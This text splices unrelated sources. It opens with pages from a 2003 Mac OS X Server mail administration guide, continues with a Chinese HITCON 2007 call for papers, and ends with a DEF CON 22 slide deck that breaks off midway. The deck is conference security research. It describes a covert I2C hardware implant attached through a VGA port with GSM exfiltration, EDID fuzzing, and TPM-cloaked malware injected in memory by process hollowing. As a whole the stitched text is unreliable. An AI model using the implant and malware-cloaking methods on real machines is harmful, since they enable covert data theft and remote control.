LL2349.Book Page 47 Friday, August 22, 2003 2:47 PM
48
Chapter 3 Mailing Lists
Changing Subscriber Posting Privileges
Sometimes you may want an “announce only” list, where recipients can’t post to the
address.
To add or remove a subscriber’s posting privileges:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Mailing Lists tab.
4 Select the List from which has the desired subscriber.
5 Select the subscriber from the User pane.
6 Click the Edit button under the Users pane.
Hold down the Shift or Command key to select multiple subscribers.
7 Uncheck or check “User can post to list” as necessary.
8 Click OK.
Suspending a Subscriber
You can keep a user on a mail list and still allow him or her to post to a list without
receiving the list messages. In this case, you can temporarily suspend a user’s
subscription to a list.
To suspend a user’s subscription to a list:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Mailing Lists tab.
4 Select the List from which has the desired subscriber.
5 Select the subscriber from the User pane.
6 Click the Edit button under the Users pane.
Hold down the Shift or Command key to select multiple subscribers.
7 Uncheck or check “User subscribes to list” as necessary.
8 Click OK.
LL2349.Book Page 48 Friday, August 22, 2003 2:47 PM
Chapter 3 Mailing Lists
49
Administering Lists
Mailing lists can be administered by a designated list member, called “list
administrators.” List administrators can add or remove subscribers, and can designate
other list administrators.
If the designated list administrator is not an administrator of the server, all of his or her
tasks are done by sending email to the list address with commands in the subject line
or body. To find out more about the commands available to list administrators, please
see the website www.list.org.
Designating a List Administrator
When you set up a list, you can designate another user to administer the mailing list.
To designate a list administrator:
1 In Server Admin, select Mail in the Computer & Services list.
2 Click Settings.
3 Select the Mailing Lists tab.
4 Select the list from which has the desired subscriber.
5 Select the subscriber from the User pane.
6 Click the Edit button under the Users pane.
7 Uncheck or check “User can administer the list” as necessary.
8 Click OK.
Where to Find More Information
To find out more about Mailman and its capabilities, see www.list.org.
LL2349.Book Page 49 Friday, August 22, 2003 2:47 PM
LL2349.Book Page 50 Friday, August 22, 2003 2:47 PM
51
Glossary
Glossary
This glossary defines terms and spells out abbreviations you may encounter while
working with online help or other Mac OS X Server Documentation. References to
terms defined elsewhere in the glossary appear in italics.
alias Another name at your domain that is not the user’s login name, but will send
incoming email to that user.
DNS (Domain Name System) A distributed database that maps IP addresses to
domain names. A DNS server, also known as a name server, keeps a list of names and
the IP addresses associated with each name.
filter A “screening” method used to control access to your server. A filter is made up of
an IP address and a subnet mask, and sometimes a port number and access type. The
IP address and the subnet mask together determine the range of IP addresses to which
the filter applies.
firewall Software that protects the network applications running on your server. IP
Firewall service, which is part of Mac OS X Server software, scans incoming IP packets
and rejects or accepts these packets based on a set of filters you create.
IMAP (Internet Message Access Protocol) A client-server mail protocol that allows
users to store their mail on the mail server rather than download it to the local
machine. Mail remains on the server until the user deletes it.
IP (Internet Protocol) A method used with Transmission Control Protocol (TCP) to send
data between computers over a local network or the Internet. IP delivers packets of
data, while TCP keeps track of data packets.
ISP (Internet service provider) A business that sells Internet access and often provides
web hosting for ecommerce applications as well as mail services.
Kerberos A secure network authentication system. Kerberos uses tickets, which are
issued for a specific user, service, and period of time. Once a user is authenticated, it is
possible to access additional services without retyping a password (this is called single-
sign on) for services that have been configured to take Kerberos tickets. Mac 0S X
Server uses Kerberos v5.
LL2349.Book Page 51 Friday, August 22, 2003 2:47 PM
52
Glossary
LDA (local delivery agent) A mail service agent that transfers mail messages from
incoming mail storage to the email recipient’s inbox. The LDA is responsible for
handling local delivery of messages, and making mail accessible to the user’s email
application.
list administrator A mailing list administrator. List administrators can add or remove
subscribers from mailing lists, and designate other list administrators. List
administrators are not necessarily local machine or domain administrators.
load balancing The process of distributing the demands by client computers for
network services across multiple servers in order to optimize performance by fully
utilizing the capacity of all available servers.
MAA (mail access agent) A mail service that communicates with a user’s email
program to download mail messages or headers to the user’s local machine.
mail exchanger The computer that provides your mail service. Synonymous with mail
host.
mail host The computer that provides your mail service. Synonymous with mail
exchanger.
mailing list A mail service to distribute a single email message to multiple recipients.
Mailing list subscribers do not have to be mail users on your mail server. Mailing lists
can be administered by a list administrator. Mailing list subscribers can often add or
remove themselves from lists.
MTA (mail transfer agent) A mail service that sends outgoing mail, receives incoming
mail for local recipients, and forwards incoming mail of nonlocal recipients to other
MTAs.
MUA (mail user agent) A mail process on a user’s local machine that works with the
MAA to download mail messages and headers to the user’s local machine. This is most
commonly referred to as an “email application,” or “email program.”
MX record (mail exchange record) An entry in a DNS table that specifies which
computer manages mail for an Internet domain. When a mail server has mail to deliver
to an Internet domain, the mail server requests the MX record for the domain. The
server sends the mail to the computer specified in the MX record.
name server See DNS (Domain Name System).
open relay A server that receives and automatically forwards mail to another server.
Junk mail senders exploit open relay servers to avoid having their own mail servers
blacklisted as sources of spam.
LL2349.Book Page 52 Friday, August 22, 2003 2:47 PM
Glossary
53
ORBS (Open Relay Behavior-modification System) An Internet service that blacklists
mail servers known to be or suspected of being open relays for senders of junk mail.
ORBS servers are also known as RBL (real-time black-hole list) servers.
percent symbol (%) The command-line prompt in the Terminal application. The
prompt indicates that you can enter a command.
POP (Post Office Protocol) A protocol for retrieving incoming mail. After a user
retrieves POP mail, it is stored on the user’s computer and usually is deleted
automatically from the mail server.
privileges Settings that define the kind of access users have to shared items. You can
assign four types of privileges to a share point, folder, or file: read and write, read only,
write only, and none (no access).
RBL (real-time black-hole list) An Internet service that blacklists mail servers known to
be or suspected of being open relays for senders of junk mail.
relay point See open relay.
short name An abbreviated name for a user. The short name is used by Mac OS X for
home directories, authentication, and email addresses.
SMTP (Simple Mail Transfer Protocol) A protocol used to send and transfer mail. Its
ability to queue incoming messages is limited, so SMTP usually is used only to send
mail, and POP or IMAP is used to receive mail.
spam Unsolicited email; junk mail.
SSL (Secure Sockets Layer) An Internet protocol that allows you to send encrypted,
authenticated information across the Internet.
TCP (Transmission Control Protocol) A method used along with the Internet Protocol
(IP) to send data in the form of message units between computers over the Internet. IP
takes care of handling the actual delivery of the data, and TCP takes care of keeping
track of the individual units of data (called packets) into which a message is divided for
efficient routing through the Internet.
UCE (unsolicited commercial email) See spam.
UDP (User Datagram Protocol) A communications method that uses the Internet
Protocol (IP) to send a data unit (called a datagram) from one computer to another in a
network. Network applications that have very small data units to exchange may use
UDP rather than TCP.
UID (user ID) A number that uniquely identifies a user. Mac OS X computers use the
UID to keep track of a user’s directory and file ownership.
LL2349.Book Page 53 Friday, August 22, 2003 2:47 PM
54
Glossary
user name The long name for a user, sometimes referred to as the user’s “real” name.
See also short name.
virtual domain Another domain which can be used in email addresses for your mail
users. A list of all the domain names for which your mail server is responsible.
virtual user An alternate email address (short name) for a user. Similar to an alias, but it
involves another user account.
LL2349.Book Page 54 Friday, August 22, 2003 2:47 PM
55
Index
Index
A
administrator
access to mail database 38
administrator access 38
alias
creating for a user 26
APOP (Authenticated POP) 19
approved servers list 30
authentication 19
CRAM-MD5 20
mail service 19, 21, 22
B
backing up
mail database 37
mail store 37
BCC (blind carbon copies) 39
BerkeleyDB 12
blind carbon copies 39
C
client computers
email configuration 25
CRAM-MD5 21, 22
D
database
mail service 12
deleted users, removing mail of 38
DNS
use with mail services 13
DNS service
mail service and 13, 17
MX records 13, 17, 28
E
email client software 25
email service
See mail service
F
filters
junk mail 29–31
firewall
filtering SMTP connections 32
sending mail through 24
G
Getting Started With Mac OS X Server 7
H
help 8
I
IMAP
about 11
administrator access 38
authentication 20
connections per user 21
secure authentication 20, 21
settings ??–21
In 8
Internet Message Access Protocol (IMAP)
See IMAP
J
junk mail 29–32
approved servers list 30
blacklisted servers 31
disapproved servers list 31
ORBS server 31
RBL server 31
rejected SMTP servers 31
restricted SMTP relay 30
SMTP authentication 22, 29–30
K
Kerberos
authentication 20
mail service authentication 19
Kerberos authentication 19
L
LDA (local delivery agent) 10
LL2349.Book Page 55 Friday, August 22, 2003 2:47 PM
56
Index
list administrator
about 49
designate 49
list name, defining 46
local delivery agent (LDA) 10
logs
archiving 41
mail service 40–41
reclaiming space used by 41
M
Mac OS X Server
setting up 7
mail database 35–38
about 12
administrator access 38
backing up 37
location 12
mail exchange (MX) records
See MX records
mail exchanger (MX) 13
mailing list
adding subscribers to existing 47
add subscriber 46
administering 49
changing privileges 48
designate list administrator 49
enable 45
list name 46
removing subscriber 47
setup 45–46
suspending subscriber 48
mail location
incoming 12
outgoing 12
Mailman 45
mail service
APOP authentication 19
authentication 21, 22
BCC (blind carbon copies) 39
blacklisted servers 31
client settings for 25
database 12
features of 9
filtering SMTP connections 32
IMAP (Internet Message Access Protocol) 11, ??–
21
IMAP authentication 20, 21
incoming mail 17
junk mail prevention 29–32
logs 40–41
monitoring 40
more information 43
MX records 13, 17, 28
outgoing mail 17
planning 15
POP (Post Office Protocol) 10, ??–20
postmaster account 18
protocols, changing 34
relay via another server 24
reloading 34
resources 43–44
SMTP (Simple Mail Transfer Protocol) 10, 22–24
starting and stopping 18, 33
tools overview 16
user account alias 26
user accounts 27
user account settings for 18, 24
mail store
backing up 37
messages 12
mail transfer agent (MTA) 10
mail user agent (MUA) 11
messages, mail
See mail service
message storage 35–38
monitoring
connected users 40
user accounts 40
MTA (mail transfer agent) 10
MUA (mail user agent) 11
MX (mail exchanger) 13
configure for mail services 14
MX records 13, 17, 28
O
online help 8
ORBS servers 31
outgoing mail
configure 22
P
performance, mail service 34
performance tuning 34
POP
about 10
authentication 19
secure transport 20
settings ??–20
postmaster mail account 18
Post Office Protocol (POP)
See POP
protocols
IMAP 11
mail service 10–11
POP 10
SMTP 10
SSL and mail service 14
LL2349.Book Page 56 Friday, August 22, 2003 2:47 PM
Index
57
R
RBL server 31
RBL servers 31
relay server 24
resources
mail service 43–44
restricted SMTP relay 30
RFC (Request for Comments) documents 43
S
Server Admin
APOP authentication 19
IMAP authentication 20
Kerberos for mail service 19, 20
mail service, reloading 34
mail service, starting and stopping 33
servers
ORBS servers 31
RBL servers 31
setup overview 16–18
Simple Mail Transfer Protocol
See SMTP
SMTP
about 10
authentication 22, 29, 30
filtering connections 32
relay 24
relay, restricted 30
relay via another server 24
secure transport 23
settings 22–24
spam
See junk mail
spool directory
location 12
SSL
mail service and 14
use in mail services 14
SSL (Secure Sockets Layer) 14
T
transport
enabling SSL 20, 23
U
undeliverable mail 42
forwarding 42
unsolicited mail
See junk mail
user account
settings for 15
user accounts
deleted, removing mail of 38
mail addresses 26, 27
mail settings 18, 24
postmaster 18
user names
as mail addresses 26, 27
users
mail client configuration 25
V
viewing
connected users 40
user accounts 40
LL2349.Book Page 57 Friday, August 22, 2003 2:47 PM | pdf |
2007 年駭客年會徵求論文
HIT 2007 Call For Paper
時間:2007 年 7 月 21 日~22 日(星期六~星期日)
主辦單位:CHROOT – Security Research Group (http://www.chroot.org)
活動網址:http://hitcon.org
台灣第三屆駭客年會將於 2007 年 7 月 21~22 日(週六、日)舉行,歡迎各界人士踴躍
投稿。論文內容以探討實作技術並能演講 50 分鐘為佳。
為了讓會議主題能夠明確,我們擬定了以下議題,有興趣的朋友可以從下列議題中選
擇自己擅長的方面進行準備(包括論文、程式碼和投影片),但不以下列的議題為限。今年
特別歡迎各項有關 Windows Vista 作業系統的安全技術探討。
1. Exploit technique
對於網路、作業系統和應用程式等各方面攻擊程式或手法的技術研究。
2. Honeypot
構建安全的 Honeynet 系統,對各種入侵進行詳細的技術分析,瞭解攻擊者行為和
攻擊手法等。或者,對於 Honeypot 進行反追蹤技術的探討。
3. Virus and anti-virus
電腦病毒和防毒軟體新趨勢或研究。
4. Reverse engineering
對二進位檔或者不明資料進行詳細解析,構建反向工程的具體過程和方法。
5. Audit software vulnerability
對開放原始碼的軟體進行安全性檢測與分析的具體過程和方法,或是對商業軟體所
進行的安全性分析。
6. Backdoor and rootkit
各種新型態的後門或木馬的設計研究或是檢查方式。
7. Web and database security
各種網頁、網站軟體和資料庫的安全性探討。
8. Firewall, WAF, IDS and IDP
防火牆(Firewall)、入侵偵測(防禦)系統(IDS、IDP)等的技術現狀和發展前景,入侵
檢測系統在現階段的實際應用情況等。此外,歡迎近年來對於加強 Web 應用程式
安全的 WAF (Web Application Firewall)的各項技術研究。
9. Hardened system
對各種當前各種作業系統進行安全加強,提升不同安全級別方法、技術、發展方向
等。
10. Covert Channel
隱藏傳輸通道。將某特定的資料隱藏包裝於其它正常的資料串流或協定中,進行傳
送。
論文可選中文或英文撰寫。 每文第一頁必須包含題目、作者、聯絡人、演講者及聯
絡資料(電話、電子郵件)等,並以 PDF 檔格式,於 2007 年 6 月 15 日前,利用電子
郵件附帶傳送檔案至 [email protected]。
為鼓勵投稿,本次會議將致贈每篇被接受之論文 NT $3,000 元整。 此外,大會將依
作者意願,將論文或演講內容以電子或書面媒體方式散佈。
除了上述的論文徵求外,本次駭客年會計畫了一場 0-day exploit 展示,只要在
2006 年 7 月 15 日前,將您個人所發現的漏洞(未公開且尚未被修正),以電子郵件方
式傳送至 [email protected],經過確認,就有機會免費取得本屆駭客年會的入場券,
並且上台展示漏洞。 | pdf |
DIY Hardware implant over I2C
Part of the NSA Playset
This slide deck will change for the talk to include more information and
details!
Josh Datko and Teddy Reed
DEF CON 2
2
August 10, 2014
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
1 / 49
Outline
1
NSA Playset DEF CON Series
2
I2C Attack Points
3
I2C Module
4
Controller Device
5
GSM Module
6
WAGONBED Improvements
7
GSM Exfil Alternaive: Audio
8
Wrapup
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
2 / 49
NSA Playset Series
What is the NSA Playset?
We hope the NSA Playset will make cutting edge security tools more
accessible, easier to understand, and harder to forget.
NSA Playset Talks
RF Retroreflector
Penn & Teller
Friday
12:00
DIY Hardware Implant
Penn & Teller
Sunday
11:00
GSM Sniffing
Penn & Teller
Sunday
12:00
PCIe
Penn & Teller
Sunday
14:00
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
3 / 49
Inspired by the NSA
The NSA apparently has a hardware hacking catalog.1
Flip. . . Flip. . . Flip. . .
1like SkyMall for spies and without the Bigfoot.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
4 / 49
Inspired by the NSA
The NSA apparently has a hardware hacking catalog.1
Flip. . . Flip. . . Flip. . .
Oh look honey, there’s an I2C controller board we can get. It
attaches to a computer and it’s modular, so you can add a GSM
cell phone for exfil.
1like SkyMall for spies and without the Bigfoot.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
4 / 49
Inspired by the NSA
The NSA apparently has a hardware hacking catalog.1
Flip. . . Flip. . . Flip. . .
Oh look honey, there’s an I2C controller board we can get. It
attaches to a computer and it’s modular, so you can add a GSM
cell phone for exfil.
That’s nice dear.
1like SkyMall for spies and without the Bigfoot.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
4 / 49
Inspired by the NSA
The NSA apparently has a hardware hacking catalog.1
Flip. . . Flip. . . Flip. . .
Oh look honey, there’s an I2C controller board we can get. It
attaches to a computer and it’s modular, so you can add a GSM
cell phone for exfil.
That’s nice dear.
I wonder how that works. . .
1like SkyMall for spies and without the Bigfoot.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
4 / 49
Requirements for the implant
Reverse-engineered requirements:
Must attach over I2C to the target.
Must include GSM reachback to the implant.
Our requirements:
Easy to use.
As much commodity hardware as possible.
Fun.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
5 / 49
Implant Control Diagram
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
6 / 49
Background: What is I2C
Serial bus.
Two-wires: (plus power and ground).2
I Data: SDA
I Clock: SCL
Multi-master.
Multi-slave.3
Addressable.
Standard speed is 100kHz (100kbps). High Speed: 3.2Mbps
theoretical max.
2Typically 5 or 3.3V
3Note to SJWs, this is the technical correct term.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
7 / 49
Background: I2C in visual form
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
8 / 49
I2C attack surfaces
EEPROMs
PCI and PCIe
Battery controllers
Video . . .
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
9 / 49
Video I2C
Why is there I2C on your monitor adapter?
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
10 / 49
Video I2C
Why is there I2C on your monitor adapter?
How does your computer “automatically detect” monitor resolution?
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
10 / 49
Video I2C
Why is there I2C on your monitor adapter?
How does your computer “automatically detect” monitor resolution?
EDID
Extended Display Identification Data
DDC
Data Display Channel, a.k.a. 5V I2C
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
10 / 49
EDID
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
11 / 49
$ edid-decode
ioreg -lw0 -r -c "IODisplayConnect"
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
12 / 49
EDID Extension Blocks
Tag Number
Extension Block Description
00h
Timing Extension
02h
CEA-EXT: CEA 861 Series Extension
10h
VTB-EXT: Video Timing Block Extension
20h
EDID 2.0 Extension
40h
DI-EXT: Display Information Extension
50h
LS-EXT: Localized String Extension
60h
DPVL-EXT: Digital Packet Video Link Extension
A7h, AFh, BFh
DTCDB-EXT: Display Transfer Characteristics
F0h
EXTENSION Block Map
FFh
EXTENSIONS defined by the OEM
Parsing implemented by the OS-supplied VESA driver or GPU driver
manufacturer.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
13 / 49
Exploiting EDID/EDID Extension parsing
Hacking Displays Made Interesting
Blackhat EU 2012
Andy Davis - NGS Secure
https://github.com/nccgroup/EDIDFuzzer
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
14 / 49
Exploiting EDID/EDID Extension parsing
Hacking Displays Made Interesting
Blackhat EU 2012
Andy Davis - NGS Secure
https://github.com/nccgroup/EDIDFuzzer
Simple adaptation for BeagleBone
Implemented in Python (BBIO)
https://github.com/theopolis/bone-edidfuzzer
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
14 / 49
Exploiting EDID/EDID Extension parsing
Hacking Displays Made Interesting
Blackhat EU 2012
Andy Davis - NGS Secure
https://github.com/nccgroup/EDIDFuzzer
Simple adaptation for BeagleBone
Implemented in Python (BBIO)
https://github.com/theopolis/bone-edidfuzzer
Discover proprietary EDID extensions! Moar fuzzing!
Or assume a-priori software control...
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
14 / 49
I2C everywhere IC4
A video card may have multiple I2C buses and devices. NVIDIA cards may
have I2C for the following:
EEPROM for encrypted HDCP keys
Onboard voltage regulator
Thermal sensor
TV decoder chip (older cards)
4C’mon, it’s punny
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
15 / 49
Exploring VGA I2C
Let’s start exploring our attack surface.
Pin
Name
Description
1
RED
Red Video
2
GREEN
Green Video
3
BLUE
Blue Video
...
...
...
5
GND
Ground
9
KEY
Optional +5V output from graphics card
12
SDA
I2C data
15
SCL
I2C data clock
VGA Pinout
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
16 / 49
I want my I2C 5
5Dire Straights fans, anyone?
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
17 / 49
Filling in the details
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
18 / 49
Controller Selection
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
19 / 49
Controller Selection
BeagleBone Black is the
embedded hacker’s friend:
1GHz AM3358 ARM®
Cortex-A8
512MB DDR3 RAM
Two independent
Programmable Real-Time
Units (32bit)
Crypto accelerators for
AES, SHA, MD5
UARTs, PWM, LCD,
GPMC, SPI, ADC, CAN,
Timers
Two I2C buses
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
19 / 49
CryptoCape
Let’s add some hardware security ICs:
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
20 / 49
CryptoCape
Let’s add some hardware security ICs:
Authenticators: ECC &
MAC (SHA256)
Encrypted EEPROM
(AES-128-CCM)
Battery backed up
Real-time clock
Trusted Platform
Module
ATmega328p, because
Arduino.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
20 / 49
Add the controller
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
21 / 49
GSM Module
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
22 / 49
GSM Module
Seeed Studo GPRS Shield v2:
Arduino form factor
GSM Quad band support
TCP support
SIM card holder
Works with Tmobile,
AT&T
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
22 / 49
Add the GSM module
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
23 / 49
Moar Power?
BBB draws 460mA on
boot
CryptoCape
GSM Shield draws 300mA
on average for “talk”, but
peak of 2.0 A!!!
Meet the LiPoWerCape
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
24 / 49
Moar Power?
BBB draws 460mA on
boot
CryptoCape
GSM Shield draws 300mA
on average for “talk”, but
peak of 2.0 A!!!
Meet the LiPoWerCape
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
24 / 49
CHUCKWAGON
We still need a way to easily
connect to the video adapter.
Meet CHUCKWAGON:
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
25 / 49
CHUCKWAGON
We still need a way to easily
connect to the video adapter.
Meet CHUCKWAGON:
Breadboard friendly.
Logic level converters for
I2C.
Supplies 5V.
Power indicator.
Attaches to CryptoCape
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
25 / 49
CHUCKWAGON schematic
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
26 / 49
CHUCKWAGON board
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
27 / 49
I2C hack not that new. . .
As seen on Hackaday
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
28 / 49
Add the CHUCKWAGON
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
29 / 49
Connect to GSM module
Ok, so let’s connect to the
GSM Shield from the Beagle!
BBB’s UART4,
broken-out by ATmega’s
program jumpers.
GSM’s shield
software-serial, D7 and
D8
/me checks datasheet one
last time...
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
30 / 49
Connect to GSM module
Ok, so let’s connect to the
GSM Shield from the Beagle!
BBB’s UART4,
broken-out by ATmega’s
program jumpers.
GSM’s shield
software-serial, D7 and
D8
/me checks datasheet one
last time...
Needs logic level
converters!
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
30 / 49
Completed Hardware with Battery
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
31 / 49
Completed Hardware without Battery
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
32 / 49
Completed Hardware without Battery
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
32 / 49
Software flow
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
33 / 49
Software flow
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
33 / 49
What can I do with this?
If software on the target can communicate with the implant then:
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
34 / 49
What can I do with this?
If software on the target can communicate with the implant then:
Target can exfil out to implant to GSM.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
34 / 49
What can I do with this?
If software on the target can communicate with the implant then:
Target can exfil out to implant to GSM.
Target can exfil out to implant for storage.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
34 / 49
What can I do with this?
If software on the target can communicate with the implant then:
Target can exfil out to implant to GSM.
Target can exfil out to implant for storage.
Implant can provide code for target to run.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
34 / 49
What can I do with this?
If software on the target can communicate with the implant then:
Target can exfil out to implant to GSM.
Target can exfil out to implant for storage.
Implant can provide code for target to run.
Control the implant over GSM ! control the target over GSM
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
34 / 49
Accessorize!
Prepared for anything or NSA hacking toolkit?
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
35 / 49
How to improve the CHUCKWAGON
What does CHUCKWAGON rev. B look like?
Consolidate into one board: ImplantCape
Eliminate flywires.
HDMI footprint vs. VGA
Could all be done from AVR (less power), but BBB is more fun.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
36 / 49
Using Crypto for Evil!
Long history of Cryptography and Malware!
Cryptoviral Extortion:
1989 PC Cybord, Joseph Popp
1996 Macintosh SE/30 crytovirus PoC, Young and Yung
2006 Gpcode.AG/AK, Cryzip
2013 CryptoLocker, CryptorBit
Reversing Anti-Analysis:
Packers, Obfuscator, VM-based JIT
2011 TPM ”cloaking” malware
2014 Uroburos, encrypted VFS
2014 TPM-enabled super-targeted malware
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
37 / 49
Using Crypto for Evil!
The CryptoCape includes a TPM...
I2C friendly
Protected RSA private key storage
Windows 8 friendly
More or less optional, as there is most likely an onboard TPM
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
38 / 49
Cloaking Malware with the Trusted Platform Module
2011 USENIX Security
Alan M. Dunn, Owen S. Hofmann, Brent Waters, Emmett Witchel
Summary: Use TPM-protected keys and an Intel TXT PAL to protect
malicious code execution from observation, analysis, and tamperment.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
39 / 49
Cloaking Malware with the Trusted Platform Module
2011 USENIX Security
Alan M. Dunn, Owen S. Hofmann, Brent Waters, Emmett Witchel
Summary: Use TPM-protected keys and an Intel TXT PAL to protect
malicious code execution from observation, analysis, and tamperment.
Intel TXT and remote attestation are hard!
But generating a public key on a TPM and using that to encrypt
additional payloads is easy...
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
39 / 49
Cloaking Malware with the Trusted Platform Module
2011 USENIX Security
Alan M. Dunn, Owen S. Hofmann, Brent Waters, Emmett Witchel
Summary: Use TPM-protected keys and an Intel TXT PAL to protect
malicious code execution from observation, analysis, and tamperment.
Intel TXT and remote attestation are hard!
But generating a public key on a TPM and using that to encrypt
additional payloads is easy...
Put a TPM on your implant and protect against nasty network
interception. Also restrict analysis to the target machine upon discovery
(or force memory analysis).
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
39 / 49
TPM-enabled super-targeted Malware
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
40 / 49
TPM-enabled super-targeted Malware
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
41 / 49
TPM-enabled super-targeted Malware
Windows 8 automatically enables/initializes a TPM, then creates and
manages your owner password. Access to TPM is abstracted through
Microsoft CSP.
Windows PcpTool Kit:
NCryptOpenStorageProvider
NCryptCreatePersistedKey
NCryptExportKey
NCryptDecrypt
In memory process creation:
CreateProcess
ZwUnmapViewOfSection
VirtualAllocEx
WriteProcessMemory
Python pefile to inject
encrypted PE section into a
decryption stub.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
42 / 49
TPM-enabled super-targeted Malware
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
43 / 49
tpm-malcrypt
fork tpm-malcrypt!
https://github.com/theopolis/tpm-malcrypt
tpm-keyextract, create and exfil a storage public key
malcrypter, encrypt and inject into decryption stub
malcrypt, decryption stub, process creation/injection
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
44 / 49
Malicious Exfiltration via Audio
Backstory: #badBIOS thought to use Audio as an out-of-band
exfiltration or C&C mechanism. Dismissed as infeasable by BIOS
development SMEs.
Josh Datko and Teddy Reed (DEF CON 2
2
)
DIY Hardware implant over I2C
August 10, 2014
45 / 49
Malicious Exfiltration via Audio
Backstory: #badBIOS thought to use Audio as an out-of-band
exfiltration or C&C mechanism. Dismissed as infeasable by BIOS
development SMEs.
